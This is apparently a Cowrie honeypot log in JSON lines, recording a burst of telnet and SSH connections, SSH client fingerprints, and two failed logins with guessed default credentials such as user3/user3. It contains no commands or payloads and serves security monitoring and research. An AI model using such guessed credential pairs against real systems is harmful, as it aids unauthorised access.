{"eventid":"cowrie.session.closed","duration":30.918059587478638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:13.091364Z","src_ip":"94.23.163.94","session":"f26c01c2eec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.128355979919434,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:13.339909Z","src_ip":"213.136.75.179","session":"650dd3df2fea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07972478866577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:13.477692Z","src_ip":"94.23.163.94","session":"9733308eae61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":41600,"dst_ip":"10.17.0.5","dst_port":23,"session":"16f0456013a7","protocol":"telnet","message":"New connection: 213.136.75.179:41600 (10.17.0.5:23) [session: 16f0456013a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:13.530907Z"}
{"eventid":"cowrie.session.closed","duration":32.465317487716675,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:13.705117Z","src_ip":"213.136.75.179","session":"17b1d4e5ebce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.297786474227905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:14.090032Z","src_ip":"5.189.169.71","session":"b37502ac97be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":41614,"dst_ip":"10.17.0.5","dst_port":23,"session":"32e520191543","protocol":"telnet","message":"New connection: 213.136.75.179:41614 (10.17.0.5:23) [session: 32e520191543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:14.767486Z"}
{"eventid":"cowrie.session.closed","duration":31.355867624282837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:14.886775Z","src_ip":"94.23.163.94","session":"57c6520cf579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.96137619018555,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:15.300294Z","src_ip":"213.136.75.179","session":"838f4832e08e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.518367290496826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:15.600407Z","src_ip":"213.136.75.179","session":"03c0ebd83dba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.323349952697754,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:15.616840Z","src_ip":"213.136.75.179","session":"03e416bd7850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.437469959259033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:15.850540Z","src_ip":"213.136.75.179","session":"a2e6f2e5aa6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40756368637085,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:15.882670Z","src_ip":"213.136.75.179","session":"26809e632fde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.26080775260925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:15.957590Z","src_ip":"213.136.75.179","session":"bfaf1067c9b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23234486579895,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:15.989668Z","src_ip":"213.136.75.179","session":"3849945b8c48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678268909454346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:16.060600Z","src_ip":"5.189.178.126","session":"35ac34b5e576","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.21518063545227,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:16.129059Z","src_ip":"213.136.75.179","session":"4b205d67e6df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10550093650818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:16.246341Z","src_ip":"213.136.75.179","session":"4b1aab3e5aa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":42866,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ea1cacd530","protocol":"telnet","message":"New connection: 5.189.178.126:42866 (10.17.0.5:23) [session: 90ea1cacd530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:16.312467Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":41616,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ad5787fe37","protocol":"telnet","message":"New connection: 213.136.75.179:41616 (10.17.0.5:23) [session: 10ad5787fe37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:16.494535Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34476,"dst_ip":"10.17.0.5","dst_port":22,"session":"771d23c88049","protocol":"ssh","message":"New connection: 176.65.139.103:34476 (10.17.0.5:22) [session: 771d23c88049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:16.608125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:16.649918Z","src_ip":"176.65.139.103","session":"771d23c88049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:16.723555Z","src_ip":"176.65.139.103","session":"771d23c88049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.430806159973145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:16.771516Z","src_ip":"155.117.234.131","session":"c50fca7aee48","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:17.075784Z","src_ip":"176.65.139.103","session":"771d23c88049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.595858812332153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:17.206522Z","src_ip":"94.23.163.94","session":"b496d85195da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":41618,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a99947a0e47","protocol":"telnet","message":"New connection: 213.136.75.179:41618 (10.17.0.5:23) [session: 4a99947a0e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:17.307457Z"}
{"eventid":"cowrie.session.closed","duration":33.277522802352905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:17.537607Z","src_ip":"213.136.75.179","session":"b626fe489c0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.17021942138672,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:17.718294Z","src_ip":"213.136.75.179","session":"dabcfafa0e5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912827968597412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.039197Z","src_ip":"94.23.163.94","session":"9dda68332b41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06057596206665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.057813Z","src_ip":"5.189.178.126","session":"1324ad6935b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.437118768692017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.074688Z","src_ip":"94.23.163.94","session":"d6673a8af5d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5554404258728,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.122377Z","src_ip":"213.136.75.179","session":"a9fab03ecc2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863170385360718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.132343Z","src_ip":"94.23.163.94","session":"e87b6e5ec70f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.160704Z","src_ip":"176.65.139.103","session":"771d23c88049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.43890714645386,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.632103Z","src_ip":"213.136.75.179","session":"b53c0d403407","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34674286842346,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.678765Z","src_ip":"213.136.75.179","session":"99d32e295ef3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.31009578704834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.683976Z","src_ip":"213.136.75.179","session":"791e96ff3e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39824,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f02a98793f8","protocol":"telnet","message":"New connection: 213.136.75.179:39824 (10.17.0.5:23) [session: 3f02a98793f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.894462Z"}
{"eventid":"cowrie.session.closed","duration":31.326192140579224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:18.951064Z","src_ip":"94.23.163.94","session":"71d6a42924b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.277353525161743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:19.396919Z","src_ip":"94.23.163.94","session":"8a6745593021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39826,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a5eeda82e7","protocol":"telnet","message":"New connection: 213.136.75.179:39826 (10.17.0.5:23) [session: b7a5eeda82e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:19.552266Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39832,"dst_ip":"10.17.0.5","dst_port":23,"session":"e664f15654d8","protocol":"telnet","message":"New connection: 213.136.75.179:39832 (10.17.0.5:23) [session: e664f15654d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:19.564470Z"}
{"eventid":"cowrie.session.closed","duration":32.63462829589844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:19.665499Z","src_ip":"213.136.75.179","session":"a5151b02a177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.89549207687378,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:19.709822Z","src_ip":"213.136.75.179","session":"1ef57b21fc9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.31198835372925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:19.950414Z","src_ip":"213.136.75.179","session":"3f8a2d797c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39842,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e9c48cfcd13","protocol":"telnet","message":"New connection: 213.136.75.179:39842 (10.17.0.5:23) [session: 1e9c48cfcd13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:20.153772Z"}
{"eventid":"cowrie.session.closed","duration":31.091006755828857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:20.405894Z","src_ip":"94.23.163.94","session":"08a1884baaf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58152,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ac3cdb931a1","protocol":"telnet","message":"New connection: 5.189.169.71:58152 (10.17.0.5:23) [session: 5ac3cdb931a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:20.541620Z"}
{"eventid":"cowrie.session.closed","duration":31.272680521011353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:20.913129Z","src_ip":"213.136.75.179","session":"5216f9a3d41f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.445276975631714,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:21.191339Z","src_ip":"213.136.75.179","session":"13e6b2b0783b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01648473739624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:21.382688Z","src_ip":"5.189.169.71","session":"ae19db6a80a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.4384126663208,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:21.656071Z","src_ip":"213.136.75.179","session":"c77c2a3bf7ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766281604766846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:22.059546Z","src_ip":"94.23.163.94","session":"bb6e7c948388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.67127323150635,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:22.250460Z","src_ip":"213.136.75.179","session":"7078c6dc172f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.654045343399048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:22.603360Z","src_ip":"213.136.75.179","session":"deb9ace332b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":60376,"dst_ip":"159.203.135.109","dst_port":23,"session":"125403ccf984","protocol":"telnet","message":"New connection: 159.223.86.167:60376 (159.203.135.109:23) [session: 125403ccf984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:22.753777Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39852,"dst_ip":"10.17.0.5","dst_port":23,"session":"b086b4b37310","protocol":"telnet","message":"New connection: 213.136.75.179:39852 (10.17.0.5:23) [session: b086b4b37310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:22.981626Z"}
{"eventid":"cowrie.session.closed","duration":35.30306053161621,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.035958Z","src_ip":"213.136.75.179","session":"f1d6d69546d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35070037841797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.081798Z","src_ip":"94.23.163.94","session":"96bea21fd67f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.408450603485107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.085357Z","src_ip":"94.23.163.94","session":"fb3fef711482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898237466812134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.319692Z","src_ip":"155.117.234.131","session":"aff7c0424287","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39860,"dst_ip":"10.17.0.5","dst_port":23,"session":"a603234595f9","protocol":"telnet","message":"New connection: 213.136.75.179:39860 (10.17.0.5:23) [session: a603234595f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.402050Z"}
{"eventid":"cowrie.session.closed","duration":34.4012668132782,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.515663Z","src_ip":"213.136.75.179","session":"f84b14c39218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47500,"dst_ip":"10.17.0.5","dst_port":22,"session":"51ad34f5780f","protocol":"ssh","message":"New connection: 176.65.139.103:47500 (10.17.0.5:22) [session: 51ad34f5780f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.618415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.631963Z","src_ip":"176.65.139.103","session":"51ad34f5780f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.715006Z","src_ip":"176.65.139.103","session":"51ad34f5780f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.930047273635864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:23.749288Z","src_ip":"213.136.75.179","session":"4a6f5dc89f74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:24.049670Z","src_ip":"176.65.139.103","session":"51ad34f5780f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.531554698944092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:24.157982Z","src_ip":"94.23.163.94","session":"f8fe0af3cf05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39862,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead230098947","protocol":"telnet","message":"New connection: 213.136.75.179:39862 (10.17.0.5:23) [session: ead230098947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:24.673193Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39868,"dst_ip":"10.17.0.5","dst_port":23,"session":"726960995d4a","protocol":"telnet","message":"New connection: 213.136.75.179:39868 (10.17.0.5:23) [session: 726960995d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:24.909339Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:25.141011Z","src_ip":"176.65.139.103","session":"51ad34f5780f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39870,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef8348549dc4","protocol":"telnet","message":"New connection: 213.136.75.179:39870 (10.17.0.5:23) [session: ef8348549dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:25.193823Z"}
{"eventid":"cowrie.session.closed","duration":33.23921489715576,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:25.407668Z","src_ip":"213.136.75.179","session":"671a86d91df2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39886,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd4b4f38bb0a","protocol":"telnet","message":"New connection: 213.136.75.179:39886 (10.17.0.5:23) [session: bd4b4f38bb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:25.564604Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39890,"dst_ip":"10.17.0.5","dst_port":23,"session":"77723984d5cf","protocol":"telnet","message":"New connection: 213.136.75.179:39890 (10.17.0.5:23) [session: 77723984d5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:25.753945Z"}
